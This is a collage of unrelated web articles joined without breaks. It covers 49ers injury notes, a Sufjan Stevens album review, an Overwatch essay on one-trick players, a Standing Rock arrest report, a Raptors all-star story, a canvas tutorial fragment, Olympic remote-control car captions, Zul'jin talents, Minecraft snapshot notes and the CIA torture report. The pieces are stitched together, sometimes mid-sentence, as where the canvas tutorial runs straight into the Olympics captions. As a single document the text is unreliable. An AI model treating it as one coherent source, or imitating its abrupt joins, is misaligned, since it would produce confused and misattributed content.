Carradine, the No. 40 pick in 2013, had 11 sacks in 12 games as a defensive end in his last season with the Seminoles. The 49ers play a 3-4 base defense, but shift to a 4-3 on passing downs.
Carradine presumably is being groomed to serve as a pass-rush specialist, but he must drop weight to have the necessary quickness. Head coach Jim Tomsula said Carradine, who is listed at 295 pounds, is in the 280s and will continue to lose weight. Carradine weighed 276 pounds at the 2013 combine.
“It’s just his skill set,” said Tomsula, who was the defensive line coach in Carradine’s first two seasons. “I’ve gotten more involved in that conversation just because I’ve been with Tank for two years and I see where he’s at.”
Carradine, who didn’t play in 2013 because of a torn ACL he sustained at Florida State, has one sack this season (it came in the opener against Minnesota) and has played more than 19 snaps in two of nine games. He didn’t play in a 17-16 win over the Falcons on Nov. 8.
Carradine has four sacks and 33 tackles in his 17-game career.
Possible suit vs. St. Louis: Running back Reggie Bush said he’s considering suing the city of St. Louis after he suffered a severe knee injury at the Edward Jones Dome in the 49ers’ 27-6 loss to the Rams on Nov. 1.
Bush was injured after he was pushed out of bounds on a punt return. He slipped on a concrete area behind the 49ers’ bench and crashed into a padded wall. Bush, who is on injured reserve, said he sustained a torn meniscus that will require a 4- to 6-month recovery time.
Blue padding has since been placed over the concrete at the Edward Jones Dome. Bush, 30, said he is “looking into some things” before filing a lawsuit.
“I’ve never seen anything like that,” Bush said. “It’s just bizarre.”
On Oct. 25, Cleveland quarterback Josh McCown suffered a shoulder injury when he slipped on the concrete at the stadium.
“To get injured when it’s not between the lines is very irritating,” Bush said.
Bush, who signed a one-year deal in March, said he would like to return to the 49ers in 2016.
Injury report: After Tomsula said Wednesday morning that running back Carlos Hyde would get back on the practice field, Hyde remained sidelined with a foot injury that has forced him to miss the past two games.
Hyde, who reportedly has a stress fracture, hasn’t played since a loss to the Seahawks on Oct. 22. His injury typically requires a 4- to 6-week recovery.
Meanwhile, wide receiver Anquan Boldin was limited with a hamstring injury that has sidelined him for two games.
Eric Branch is a San Francisco Chronicle staff writer.Album Review: Sufjan Stevens – Carrie & Lowell
Grade A+
Carrie & Lowell, Sufjan Steven’s latest album and seventh overall, is a beautiful, tender, and poignant piece of art. It could be his greatest musical accomplishment. It certainly is Sufjan’s most mature album.
Sufjan Stevens is one weird dude. He’s a mad genius in the same vein as Kanye West but without the notoriety or narcissism. His ambition was never more evident with his 50 States music project. Sufjan set out to record an album for every state. He completed two before abandoning the endeavor, 2003’s Say Yes to Michigan and 2005’s Illinois. You could say that Carrie & Lowell is his Oregon album. But instead of populating his lyrics with historical events and figures associated with Oregon, he shares memories, details, and emotions evoked from his time visiting the state.
The man who taught me to swim, he couldn’t quite say my first name
Like a Father he led community water on my head
And he called me “Subaru”
And now I want to be near you
— Eugene
Named after his mother and stepfather, Carrie & Lowell’s lyrics focus on Sufjan’s complicated relationship with his mother and her battles with depression, schizophrenia, and addiction. Sufjan and his siblings grew up in Michigan but would visit Carrie and Lowell in Oregon for the five years that they were married. Although Carrie was in and out of Sufjan’s life, he was with her when she died in 2012.
I forgive you, mother, I can hear you,
And I long to be near you
But every road leads to an end
You’ll never see us again
— Death with Dignity
The hospital asked should the body be cast
Before I say goodbye, my star in the sky
Such a funny thought to wrap you up in cloth
Do you find it all right, my dragonfly?
— Fourth of July
Prior to this album, much of Sufjan’s musical output has been right on the ledge, veering back and forth between glorious noise and glorious mess. His music is rarely boring or uninteresting, but it doesn’t always succeed. His last album, 2010’s The Age Of Adz, caught many of his admirers off-guard with its kitchen-sink, electronic-heavy sound. It was a glorious mess, but glorious nevertheless.
But Sufjan’s admirers should be grateful that he made The Age of Adz, because I’m convinced if he had not poured his heart and soul into that mad genius of a mess, Carrie & Lowell would not be the restrained and contemplative masterpiece that he has delivered. Sufjan’s previous album attempted to translate his mental and emotional crises through the music, beats, and overlapping and competing vocals. He was in the throes of his downward spiral, close to hitting his mental and emotional rock bottom. This is the morning after album when he sobers up and reflects on how messed up things are for him. Carrie & Lowell avoids the instrumental and compositional excess. The music is sparse; consisting of only acoustic guitars, keyboards and synths. It’s the lyrics where Sufjan conveys the rocky emotions and memories he continues to wrestle.
Sufjan jumps back and forth between themes of love, childhood, death, and stages of grief. He moves through time, simultaneously looking back and looking ahead. He remembers his mother and stepfather. He reflects on his out-of-control attempts to cope or numb himself (or both). Substance abuse and empty sexual encounters culminate in questioning the value of his own life.
The only thing that keeps me from cutting my arm
Cross hatch, warm bath, Holiday Inn after dark
— The Only Thing
…get drowned to get laid
I take one more hit when you depart
I’m falling apart
My assassin like Casper the ghost
There’s no shade in the shadow of the cross
— No Shade in the Shadow of the Cross
Now I’m drunk and afraid, wishing the world would go away
What’s the point of singing songs
If they’ll never even hear you?
— Eugene
You hear Sufjan still making sense of his mother’s passing. But the album floats between the physical death of his mother with other abstract or imagined losses. He struggles with those intangible losses like the hope of securing a stronger connection or more time with his mother.
Raise your right hand
Tell me you want me in your life
Or raise your red flag
Just when I want you in my life
— Blue Bucket of Gold
Then there are the imagined losses, the hundreds of conversations between he and his mother that Sufjan only had in his own mind over the years.
I should have wrote a letter
And grieve what I happen to grieve
I should have wrote a letter
Explaining what I feel, that empty feeling
— Should Have Known Better
The music itself is quite melodic. Listeners can enjoy the musicality of the album without fully grasping the magnitude of the lyrics. But those who give it their full and undivided attention will be rewarded with one of the most fully formed albums in years.
There are many small creative choices that Sufjan makes that elevate the songs. Throughout the album, he sings in quiet whispers, occasionally switching to falsetto vocals. The sound evokes a younger, childlike singer, transporting Sufjan back to the time of his early memories. On the standout track Should Have Known Better, the sound shifts midway through where the keyboards recall a nostalgic period of time. The sound the keys make reminded me of the theme music to Doogie Howser, M.D. and the end music when Neil Patrick Harris typed out life lessons on his computer. Taken together, the music and vocals create a time capsule for Sufjan and the listener.
Other highlights include Fourth of July and John My Beloved, but each track is a winner and the album as a whole is remarkably cohesive.
The album is heavy but not heavy-handed. And like most of his output, Sufjan sprinkles moments of levity, humor, and hope into his album. Despite his struggles with love, loss, death, and grief, Sufjan searches and finds beauty and goodness in small things that help tolerate his mother’s death.
My brother had a daughter
The beauty that she brings, illumination
— Should Have Known Better
Go get this album. You can thank me later.
Stay connected: Facebook | @ShrinkTankTalkNo subtitle necessary.
This is a point that I talk about a lot on my stream and with other highly rated players. It’s such an accepted reality for top players that there is not much to discuss; we all recognize that one-tricking ruins games because it so often ruins our games. I would imagine that the behavior is similarly frustrating to flexible and competitively minded players at any rating. Nonetheless, for many it is a point of contention and this post will regard it as such. I felt that it might be helpful to the discussion to clarify the argument from my perspective. I encourage you to read through and comment below with your thoughts.
‘One-tricks’ is a term that picks out those players in Overwatch who only play one hero. This is an importantly distinct concept from ‘Mains’, which is a term that picks out players who (perhaps significantly) specialize in one hero, but are willing to swap if the game demands it. This article will contend only that the former (one-tricks) are significantly corrosive to the competitive experience in ranked matchmaking.
—
One-tricking is always a problem because every hero is, to some extent, situational. The Skill Rating system that has been engineered to create competitive matchups is, however, unilateral. By ‘unilateral’, I mean that each and every player has a numerical value that distills their expected game impact and contribution to victory. This number is reflective of both historical W/L and individual statistical performance, but this is of course a topic for another article.
Since the matchmaker seeks to create teams with similar average SR, it crucially relies on the accuracy of its judgement of ‘expected contribution’ to create fair games. If a given player were to consistently under- or over- perform relative to their expected contribution, it will adjust in pursuit of equilibrium. This is of course the way the Skill Rating system is supposed to work.
What about in the inconsistent case?
Every player is to some extent inconsistent; we are not machines and our success rate will of course vary from game to game. However, for the vast majority of players this inconsistency will entail a fluctuation above and below an average. This fluctuation is unavoidable, but I would argue that it is not significant enough to pose a tremendous problem for the matchmaker. For some players, though, the inconsistency of their real contribution is much more significant.
For one-tricks, the impact of map selection on their real contribution is massive. Since every hero is at least better on some maps than on others, one-tricks will see radical differences in their performance on favorable vs. unfavorable map draws. For extremely specialist one-tricks (namely the builders), this RNG can spell victory or defeat before the assemble screen is over. Even the coin-flip to start on Attack or Defend can be significant; Torb/Sym players can do especially well in the first defense and, in many cases, sap at the enemy team’s will to live. Momentum is actually a very important part of the game. An extremely successful first round is much more likely to produce a victory than a calamitous failure followed by a miracle comeback.
The matchmaker, in its current state, is thus unable to accurately predict the contribution to victory from these players. This significantly reduces the likelihood that matches which include one-tricks will be competitive. If you are placed on a team with a one-trick on a map which favors their hero, their impact will likely be much larger than the expectation of the system and vice versa for an unfavorable map. Perhaps one-trick players accept this randomness and can enjoy the game whilst reducing a significant portion of their games to a coin flip, but for the rest of the players who are matched with them it is a deeply joyless experience.
The natural further consequence of this is that players in a match affected by one-tricking have their Skill Rating distorted as ‘underdog’ teams with favorable map selection are unduly rewarded and ‘expected victors’ are unduly punished. These players then take their distorted Skill Rating into the next game, wherein they are slightly less likely to perform at the expectation of the match-maker. Game quality declines marginally, even for games devoid of one trick players.
The more specialist the character, the more significant the distortion. The more significant the distortion, the worse competitive matchmaking gets. Some would contend that players who main ‘off-meta’ characters are unfairly loathed compared to those who are extremely specialized in a character like Tracer, Zenyatta, or Winston. This is where the distinction between specialists and generalists becomes very important. Although even these characters are to some extent map dependent, describing them as ‘generalists’ is accurate because they are only marginally affected by map and side RNG. There is still a distortion effect, but the impact of matchmaking/map RNG on a generalist is far less significant.
Succinctly, this is why I think that one-tricking specialists ruins the competitive experience: when the true randomness of map selection becomes a crucial determinant of victory or defeat, I lose interest. I don’t play Overwatch because I want to watch particle effects while I flip a coin. I thought we figured this out in season 1.
Let me know your thoughts in the comment section below or on twitter (@jake_overwatch).North Dakota police arrested 76 people one day after federal officials suggested that the government could soon approve the final stage of pipeline construction
North Dakota police have arrested 76 people at Standing Rock one day after federal officials suggested that the government could soon approve the final stage of construction of the Dakota Access pipeline.
Dakota Access pipeline moves to final stage in army corps approval process Read more
The arrests occurred after a group of activists, who call themselves water protectors, established a new camp near the pipeline construction.
Rob Keller, spokesman for the Morton County sheriff’s office, told the Guardian on Wednesday night that it was too soon to say what charges were being filed. In a statement, he claimed that a “rogue group of protesters” had trespassed on private property.
“A lot of water protectors really felt that we needed to make some sort of stand as far as treaty rights,” said Linda Black Elk, a member of the Catawba Nation. “We basically started to see police mobilizing from all directions. Someone came along and told us we had about 15 minutes before the camp would get raided.”
Black Elk, who works with the Standing Rock Medic & Healer Council, said there were initially hundreds of activists at the new camp but that those who did not want to be taken into custody ultimately decided to retreat.
“There were a lot of people who felt like the prospect of treaty rights was something worth getting arrested over,” she said.
The tense confrontation comes one week after Donald Trump issued an order demanding the revival of the Dakota Access pipeline and the controversial Keystone XL pipeline, reversing Barack Obama’s actions.
The Standing Rock Sioux tribe, which has long argued that the $3.8bn pipeline threatens its water supply and sacred lands, has vowed to fight the order. Activists are seeking to assert indigenous treaty rights, which they say the government and the oil company have violated.
On Tuesday night, Senator John Hoeven of North Dakota announced that the acting secretary of the army has directed the army corps of engineers to proceed with an easement necessary to finish the pipeline. His spokesman said the easement, which Obama had denied in December, “isn’t quite issued yet, but they plan to approve it” within days.
MG Malcolm Frost, US army chief of public affairs, said in a statement on Wednesday that the government was acting on Trump’s order “to expeditiously review requests for approvals to construct and operate the Dakota Access pipeline in compliance with the law”.
Some indigenous and environmental activists have been camped out by the pipeline project for months, remaining in place through the cold North Dakota winter. A group mobilized on Wednesday to form the new camp, which quickly attracted attention of local law enforcement.
The Morton County sheriff’s office said it took action to “enforce the law and evict” the “illegal camp” after people refused to leave. At around 3.30pm, police began making arrests.
“Our law enforcement officers conducted themselves in a safe and responsible manner,” Morton County’s sheriff, Kyle Kirchmeier, said in a statement.
The sheriff’s office – which has now made nearly 700 arrests since the Standing Rock demonstrations escalated last summer – said the camp was cleared by 4pm. The activists were taken to five different jails across North Dakota.
Two medics were arrested, according to Noah Morris, a medic who has been at Standing Rock for months.
“We’re always concerned when any of our friends or comrades end up in the hands of the state,” said Morris, who monitored the actions from a distance and was not apprehended. “We hope they act in a professional manner and don’t harm them in any way and don’t target them for extended detention.”
During numerous arrests last year, Native Americans have alleged mistreatment and inhumane conditions in local jails.
“We’re trying to get them out of that situation as soon as possible,” said Black Elk, who was not arrested. “We have completely lost faith in local law enforcement and their ability to control themselves.”
She added: “We’re standing up for our first amendment rights. We’re standing up for our treaty rights … They are punishing us for that.”The Toronto Raptors landed the 2016 NBA all-star weekend, but it wasn’t 2015 all-star Kyle Lowry or 2014 mid-season participant DeMar DeRozan trotted out to hype the unveiling of the weekend’s logo on Wednesday.
Instead, it was young Andrew Wiggins, the apple of both Canada Basketball and the Raptors’ eyes.
Wiggins, property of the Minnesota Timberwolves, who no doubt made sure Masai Ujiri and Drake were kept far away from Wednesday’s proceedings, won’t be a Raptor for many years to come (if ever), but he will be a major part of the spectacle when the NBA’s best and brightest gather here in early 2016.
He could be in the slam dunk contest, or the Rising Stars Challenge, but where he really wants to be, is in the main event itself, the Sunday all-star game.
“It definitely is a goal of mine and every year I’m in the NBA it will be a goal of mine,” Wiggins said at the base of the CN Tower, which is a featured part of the logo.
“It’s probably the biggest thing you can accomplish, is to be an all-star.”
But he knows it is rare for a second-year player to participate.
“Definitely not (easy),” Wiggins said. “I’ll have to put in a lot of work to be up there and trying to make the game.”
Most players don’t get to spend much time in Toronto, because they fly in and out quickly, with a game in between, but Wiggins thinks the weekend will do a lot for the city’s reputation.
“I think it will change the perception for a lot of people. Especially people that don’t really get a chance to wander around and go places,” he said.
“They’ll be here for three, four, five days, so they’ll get a chance to see what Toronto is all about … I think they’ll love it (there’s) a lot of stuff to do around here. Great people, great atmosphere.”
And he also believes Canadian fans will get a lot out of the event, which will celebrate the 125th anniversary of the birth of basketball by Canuck Dr. James Naismith.
“This is a huge opportunity for all the fans, all the people in Canada to get a closer look. I had my first one last year (he was the MVP of the Rising Stars Challenge in New York City) and unless you’re there to witness it, you don’t understand what it’s about.”
Toronto Tourism executive vice-president and chief marketing officer Andrew Weir said landing the all-star game will be a major boon for the city.
“This is about as big of a win as there could be when you think about the all-star game itself, the fan-fest, the skills event and all the other events that happen around that time,” Weir said.
“This is important business for our restaurants, our hotels, other businesses, especially because it is in February, a need-time for our businesses.
“The impact goes beyond the people that will come visit us come February. This is a global, cultural event and for a period of time in February, Toronto will be squarely in global pop culture, squarely in the centre of that. That’s important as we develop a reputation as a place that big things happen over the long term.”
Outgoing Maple Leaf Sports and Entertainment president/CEO Tim Leiweke had made landing the event a huge part of his mandate and delivered.
He understandably sounds thrilled about what is to come.
“When you take a step back and look at the progress that our league and our sport has made in Canada, it is extraordinary to see where basketball is and the platform that it has achieved and the many great players that have come out (of Canada) and are now a part of the NBA,” Leiweke said.
“To have the 2016 NBA All-Star Game, the 65th all-star game and the first ever to leave the United States, first international all-star game in the history of the NBA … Over the next 14 months that will put this city, our community on a world stage. Fans from all over the world will descend upon Toronto, making this the Mecca of basketball, not just for Canada, not just for North America, but the world.”
WIGGINS KEEPING HIS PLANS TO HIMSELF
As is his custom, Andrew Wiggins is keeping his future plans close to the vest.
For once at a Wiggins in Toronto appearance, nobody asked the NBA’s top rookie about years down the line considerations like if he’ll be a Raptor one day, but there was plenty of talk about his next nine months.
Such as: Will he suit up for Canada for July’s Toronto Pan Am Games, or just play for his country in the more crucial Olympic qualifying tournament in Mexico later in the summer?
“As I get closer, as it gets closer and closer,” Wiggins said of making that decision.
Though he played in all 82 contests for the Minnesota Timberwolves, Wiggins says he is physically fine and itching to get back on the court.
Will he participate in the NBA’s slam dunk contest at the 2016 All-Star weekend in Toronto next February?
“It’s too far away to think about it really,” said a laughing Wiggins.
“I think people will want to see it (him dunking), but I’ve just got to do what’s best for me, do what I do.”
Wiggins was thrilled that his Wolves won the draft lottery, but didn’t take the bait when asked who he would select.
“Who I would choose? I don’t know who I would choose,” said the ever-cautious 20-year-old.
Either way, he’ll be happy.
“We get a chance to win big. We get a chance to choose whoever we want to choose,” he said, adding that playing with potential top pick Karl-Anthony Towns in an all-star game a few years ago was a fun experience.
“I enjoyed it, he’s a great guy,” Wiggins said.
Wiggins, traded by the Cleveland Cavaliers to Minnesota before ever playing a game for the Cavs, doesn’t seem to have any hard feelings.
He said he is excited for friend and fellow Canadian Tristan Thompson, who will get his first taste of NBA Finals action next week.
“Oh definitely, I’m rooting for him. I want the best. He’s been killing lately, he’s been a force on the glass for them (and) at the defensive end.”
But Wiggins won’t play what-if now that Cleveland is four wins away from a championship. He’s happy where he is.
“It definitely does (feel like he ended up in the right place in Minnesota),” he said.
“We’ve got a young core and now the first draft pick is going to make the core even stronger, even better.”This is the first article in a series that will bring you up to speed with HTML5 canvas, the plugin-less drawing functionality built into modern browsers. In this introductory article, I'll show you how to access the canvas element, draw shapes, change colours, and erase things. It's a whistle-stop tour of the basics of this amazing new Web technology.
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The series will be an exciting ride, and one that I hope you enjoy. I'm assuming that you're already comfortable with JavaScript, but have little to no experience with canvas. Even if you're new to JavaScript, don't fret, as you'll still learn something from these articles.
Introducing the Canvas Element
Using the canvas element is dead easy.
When you think of canvas, you probably think about the new HTML5 canvas element. Technically, this is only one half of the story, but let's forget about that for now. The canvas element is the public face of this fancy new feature of the browser.
Using the canvas element is dead easy; it's one simple HTML tag, with a defined width and height.
This doesn't do much yet. In fact, all it does is insert a transparent canvas on your page. The content inside of the canvas element is fallback content, which will only display if a browser doesn't support canvas.
Browser support
Browser support for canvas is pretty amazing.
It's important to point out that the browser support for canvas is pretty amazing. Every modern browser supports it, including the latest Internet Explorer.
Internet Explorer (9.0+)
Safari (3.0+)
Firefox (3.0+),
Chrome (3.0+)
Opera (10.0+)
iOS (1.0+)
Android (1.0+)
Interestingly, you can use some canvas functionality in Internet Explorer version 8 and below, via the ExplorerCanvas plugin.
Canvas dimensions
One key lesson that I learnt with canvas is that you have to explicitly set the width and height attributes of the canvas element when defining its dimensions. Using CSS to set the width and height will effectively cause the canvas to scale up (or down) to that size. There is a logical reason behind this; it's to do with the canvas element being a container for something called the 2d rendering context. However, it's just important to know that using CSS to set the canvas dimensions will have an odd effect.
Discovering the 2d Rendering Context
I mentioned in the last section that the canvas element is only one half of the story. The other half is the 2d rendering context; the part of canvas that lets you do the cool stuff that you can actually see.
Let me make one thing completely clear: when you use canvas, you're
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opening track and field events kicked off.
Star of the show? One of the Minis returns a hammer to the cage
They're off: A remote control Mini is loaded with a hammer on the first day of competition
Tiny brother: The remote control mini is considerably smaller than the car it imitates
The car is 39 inches long and is radio controlled - it's set to be the most famous remote control car of all time.
It can carry a load up to 8kg and will do its own mini marathon of around 6,000 metres each day.
Specially trained volunteers will operate the cars - when they signed up to help out, it's unlikely they had this in mind!
On the moveZul'jin talents revealed! Ensnare, Voodoo shuffle, Let the Killing begin and more!
The talent names are sufficiently lore infused and seem to give Zul'jin a level of utility and flexibility seen in other newly released heroes, like Samuro and Varian.
Zul'jin's talents so far, look pretty great.
His level 1 choices in particular offer different styles of play, allowing Zul'jin to focus on improving his Ability Power or his passive auto attack damage.
As we go down the tree, we see some incredibly unique offerings. The level 4 talent, Headhunter is incredibly powerful at the cost of having to kill all 5 heroes individually. We dont' know if Zul'jin must land the killing blow on these kills, but even if that is the case, the reward for this quest seems absurdly fun and thematic.
Other talents of note are his level 20 Ensare talent that is simply a targetable root. Anyone who has ever played Warcraft 3 knows to never undestimate a simple net. The level 13 talent, Voodoo shuffle, is also surprisingly powerful on an assassin that seems capable of dishing out huge ammounts of damage when uninterupted.
Take a look at the talents your self:
Level 1
[Q] Boneslicer
Grievous Throw now pierces through enemies. Bonus damage increased by 15%.
[Passive] Arcanite Axes
Twin Cleave cooldown reduced by 0.5 seconds for every Hero hit. Ability Power is increased by 25% while below 50% Health.
[Passive] You Want Axe?
Every 5 Basic Attacks used against Heroes increases your Basic Attack damage by 1.5. Upon reaching 24 Stacks, permanently gain 20% Range.
Level 4
[E] Troll's Blood
Increases Regeneration healing by 75%.
[Passive] Let the Killing Begin
Enemies killed by you increase your attack speed by 6% for 10 seconds, stacking up to 5 times. Attacks refresh duration.
[Passive] Headhunter
[!] Quest: Kill all unique enemy Heroes. Reward: Activate to reveal all enemy Heroes for 4 seconds.
Level 7
[Q] Vicious Assault
Increases the number of charges to 6. Basic Attacks against afflicted Heroes reduces cooldown by 2 seconds.
[W] Wrong Place Wrong Time
If an enemy is hit by both axes at the same time, deal bonus damage.
[Trait] Recklessness
While below 50% health, gain 25% bonus Attack Damage.
Heroic Talents
[R1] Taz'dingo!
Cannot be reduced to less than 1 Health for the next 4 seconds.
[R2] Guillotine
Throw a massive axe into the air that crashes down on enemies, dealing damage based on how much Health you are missing.
Level 13
[Q] Eye of Zul'jin
Hitting an enemy Hero with Grievous Throw increases Movement Speed by 25% for 2 seconds.
[E] Forest Medicine
Regeneration no longer has to be channeled. Damage still breaks the heal.
[Active] Voodoo Shuffle
Activate to remove all Slow and Root effects.
Level 16
[W] Swirling Death
Axes cycle twice and can hit enemies on each revolution but cooldown is increased by 4 seconds.
[W] Lacerate
Increases Slow amount of each axe by 15%.
[Trait] Ferocity
Increases the Attack Speed bonus of Berserker by 40%.
Level 20
[R1] Amani Resilience
Restore Health equal to 50% of the damage you dealt while using Taz'dingo.
[R2] Buzzsaw
After impact, the Guillotine continues rapidly forward, dealing damage to enemies in the line.
[Active] Ensnare
Throw a net forward, rooting the first enemy hit.
Follow us on Twitter @GosuGamersHotS and on Facebook for more competitive Heroes of the Storm news and coverage from around the world
QUICKPOLL Do new heroes seem to have better talents than old ones? Yes, they are all so unique.
Thank you for voting! No, oldies are still great.
Thank you for voting!We’ve still been working hard on rewriting internal stuff (such as how blocks are rendered, or how the entire inventory system works) in preparation for the Plugin API. Meanwhile, have another smaller snapshot with a bunch of bug fixes and some more adventure map related stuffs!
Notable changes for everybody:
Added iron trapdoors
You can now share to lan for spectator mode only
Notable changes for mapmakers:
A resourcepack can now be bundled with a map, put it in the map save directory and name it “resources.zip” Example: ".minecraft/saves/TheMapWithTheThing/resources.zip"
The commands /testfor, /testforblock and /clear can now test for partial matches of NBT lists Example: /testfor @p {Inventory:[{Slot:6b,id:"minecraft:diamond_sword"}],SelectedItemSlot:6}
Scoreboard objectives for fake players with a name starting with # will never show up on the sidebar
New /scoreboard subcommands /scoreboard operation and /scoreboard test
The command /scoreboard operation can apply arithmetic operation to scores (+ - * / %) and accumulate player scores Example: /scoreboard players operation #teamscores redScore += @a[team=red] blueKills
The command /scoreboard test can be used to test if a scoreboard value is between a min and a max value Example: /scoreboard players test #global anObjective 12 19
New command /execute to execute commands in the context and at the position of other entities or players Example: /execute @e[type=Chicken] ~ ~ ~ fill ~-1 ~-1 ~-1 ~1 ~1 ~1 minecraft:glass
New selector parameters for entity selectors to detect entity rotations with rxm - x rot min, rx - x rot max, rym - y rot min, ry. y rot max Example: @a[rxm=-15,rx=15,rym=-45,ry=45]
Players in team can now have a team based objective shown on the sidebar, depending on the team color Example: /scoreboard objectives setdisplay team.yellow anotherObjective
While debug overlay is on (press F3 to turn it on and off), looking at a block in the world will show the coordinates of that block
BlockItem instances can now hold a custom NBT tag that is merged into a block entity when it’s placed Example: /give @p command_block 1 0 {BlockEntityTag:{Command:"setblock ~ ~ ~ minecraft:diamond_block"}}
In creative mode, players can create a copy of a BlockEntity in their hotbar, including all NBT data, with ctrl+[PICK_KEY] (usually ctrl+middle mouse button)
The /tellraw command can now insert values from scoreboards into messages Example: /tellraw @p {text:"Have ",extra:[{score:{name:"Searge",objective:"reward"}},{text:" diamonds"}]}
New command /testforblocks to compare two areas of a map Example: /testforblocks 100 64 100 107 69 107 0 64 0 masked
Dispensers will place a commandblock instead of shooting it out
Nametags for players in other teams can now be hidden with a team option Example: /scoreboard teams option red nametagVisibility hideForOtherTeam
Please report any and all bugs you find in Minecraft to bugs.mojang.com. If nobody reports a bug, we can’t fix it!
Bugs fixed in this snapshot:
[Bug MC-36947] - /weather clear doesn't clear weather for anywhere near the amount given
[Bug MC-44489] - /kill @e doesn’t kill ender dragons
[Bug MC-45773] - Chest not spawning in Monster dungeons
[Bug MC-46559] - Spectating a mob leaves you at two blocks tall view
[Bug MC-46838] - testfor NBT parsing error
[Bug MC-47520] - Standing under block with water / lava on top will apply blue / red filter.
[Bug MC-47543] - Items stacked with Items that have PickupDelay set to 32767 can no longer be picked up
[Bug MC-47545] - CanPlaceOn does not work with wooden doors
[Bug MC-47555] - Cannot place boats
[Bug MC-47596] - Items of the same type (IE, stone and stone) ignore datavalues and stack anyway
[Bug MC-47598] - The color of sugar canes doesn’t change depending on the biome
[Bug MC-47636] - Boats appear to be sunken in water
[Bug MC-47642] - Hopper: java.lang.ArrayIndexOutOfBoundsException: 4
[Bug MC-47653] - torch causing missing texture when placed on bottom side of block
[Bug MC-47685] - Hopper: java.lang.ArrayIndexOutOfBoundsException: 3
[Bug MC-47817] - Baby Zombie Pigman Running with Strange Speed
[Bug MC-47821] - Ghasts do not despawn in Peaceful Mode
[Bug MC-48043] - Held Blaze Rod not in hand
And many more that weren’t on the bug tracker so we couldn’t mark them as fixed! Did I mention please report bugs? Thanks.
To get snapshots, open your launcher and press the “New Profile” button. Call it “snapshots” and check the box saying “Enable experimental development snapshots” and save. To switch to the normal version, you can select it in the dropdown at the bottom left corner of the launcher. Back up your world first or run the game on in a different folder (See the “new profile” dialog).
Snapshots can corrupt your world, please backup and/or run them in a different folder from your main worlds.
Cross-platform server jar: https://launcher.mojang.com/mc/game/14w07a/server/de78ac487cf3fb6770e8c15f83e2219d4df851ae/server.jar
Report bugs here:
// The Minecraft and Minecraft Realms teamsThe newly released 500-plus-page executive summary of the Senate Intelligence Committee’s torture report delivers a scathing critique of the CIA’s post-9/11 interrogation programs, revealing previously unknown abuses, deceptions of the media, and attempts to avoid Congressional oversight. The summary is based on millions of documents surveyed over five years and is just a fraction of the length of the full, still-classified, 6,000-page report.
Among the horrors detailed in the Senate report: Waterboarding, a torture mechanism that brings the subject to the verge of drowning, was far more popular than the CIA had let on; “rectal feedings” and “rectal hydrations” were used to strip detainees of any measures of autonomy; and a particularly damning segment of the report notes that the CIA did not punish an agent who killed a detainee in the course of interrogations.
In a statement posted to the White House website, President Obama called CIA officers “patriots” and said that we are “safer because of their heroic service and sacrifices.” “As I have said before, our nation did many things right in those difficult years,” the statement reads. “At the same time, some of the actions that were taken were contrary to our values.”
Another statement, issued by CIA director John Brennan, contests the report’s findings that torture did not yield productive intelligence, and that the agency deliberately tried to keep Congress out of the loop, while conceding “that the detention and interrogation program had shortcomings and that the Agency made mistakes.”
Below, Intelligencer rounded up five of the most damning revelations from this report.
1. The "Enhanced Interrogation Techniques" went beyond what the agency ever admitted.
The report indicates that the CIA downplayed both the number of people affected by techniques like waterboarding, and the scope of the enhanced interrogation techniques. It paints a picture of large-scale abuse and irresponsibility.
The CIA's torture dungeon COBALT sounds like an officially-sanctioned Abu Ghraib pic.twitter.com/zTCYKDNEAV — Doug Saunders (@DougSaunders) December 9, 2014
One detainee, Abu Zubaydah, was waterboarded nearly to death:
On top of waterboarding, prisoners were subjected to sleep deprivation in a standing position, often for days at a time. Some of them even had to do such things while injured.
At least once, 9/11 attacks mastermind KSM was subjected to rectal rehydration “without a determination of medical need, a procedure that the chief of interrogations would later characterize as illustrative of the interrogator’s ‘total control over the detainee.’”
2. The interrogators were poorly screened and basically untrained.
These revelations shatter the image of CIA agents and contractors as noble public servants who, even if they sometimes exceed their rights, are fundamentally trying to keep us safe. Not only did many of the first interrogators get no training in how to deal with detainees, screening apparently let people with anger issues and with histories of sexual assault handle some of the most important prisoners for our national security. Worse, these people were allowed to use their own judgement during interrogations and torture sessions with detainees.
3. Torture didn’t really provide great intelligence.
Whole sections of the report are dedicated to debunking claims that torture led to great intelligence gains that led to important wins in the war on terror. One of the most interesting is that about the information that led to the tracking of Osama bin Laden, where the Senate report says most of the information was given up by someone who had not been tortured:
It also states such methods were inefficient in dealing with 9/11 attacks mastermind Khalid Sheikh Mohamed:
Worse, in other cases the agency apparently continued torturing, long after as much compliance as could be expected had been elicited:
Chilling: Abu Zubaydah was so compliant he was basically a trained dog and still they kept torturing him. pic.twitter.com/GfZvzaYlbM — Alex Koppelman (@AlexKoppelman) December 9, 2014
4. The CIA did everything it could to avoid critical oversight.
In one email, the report notes that the CIA didn’t have a full briefing of programs not to avoid the press, but because “it is clear to us from some of the runup meetings we had with [White House] Counsel that the [White House] is extremely concerned [Secretary of State] Powell would blow his stack if he were to be briefed on what’s going on.” Instead of dealing with criticism, concerns, and their consequences, the CIA and the Bush White House instead chose to leave those with pesky consciences out of the loop. (Condoleezza Rice later made sure Colin Powell and Donald Rumsfeld each got a 25-minute briefing, rather than leaving them cold.)
White House, helming Most Transparent Administration in History, withheld over 9000 CIA torture documents to Senate. pic.twitter.com/QejVkuoCE3 — Spencer Ackerman (@attackerman) December 9, 2014
Senate report claims the CIA "provided inaccurate information" to Congress about torture pic.twitter.com/1qjK6YyGPD — Ujamaadam Serwer (@AdamSerwer) December 9, 2014
And, in one of the more surprising revelations, the report claims that the CIA didn’t even brief then-president George W. Bush on the torture techniques until April 2006.
Senate Committee report says nobody from CIA briefed Bush on details of "enhanced interrogation" until 2006 pic.twitter.com/fFBvtQer9Z — Paul Singer (@singernews) December 9, 2014
Other parts of the Senate report detail time after time that the CIA misrepresented the successes of its torture program to members of the media with the intent of swaying public opinion. (And, they also detail petty CIA squabbles with the FBI over who gets credit.) In one instance, the report notes that information about the efficacy of torture in getting information from Abu Zubaydah, one of the program’s first prisoners, is “incongruent with CIA interrogation records.”
It gives the same assessment of CIA interrogation success claims given to Ronald Kessler for his book. “The statements in the revised text on the “successes” attributable to the CIA’s enhanced interrogation techniques were similar to CIA representations to policymakers and were incongruent with CIA records,” the report concluded. It states that after receiving the false information, Kessler amended his book to say that politicians and journalists “have made careers for themselves by belittling and undercutting the efforts of the heroic men and women who are trying to protect us,” and that “[t]oo many Americans are intent on demonizing those who are trying to protect us.”
5. The CIA tortured innocent people — including, accidentally, its own informants — and killed at least one detainee.
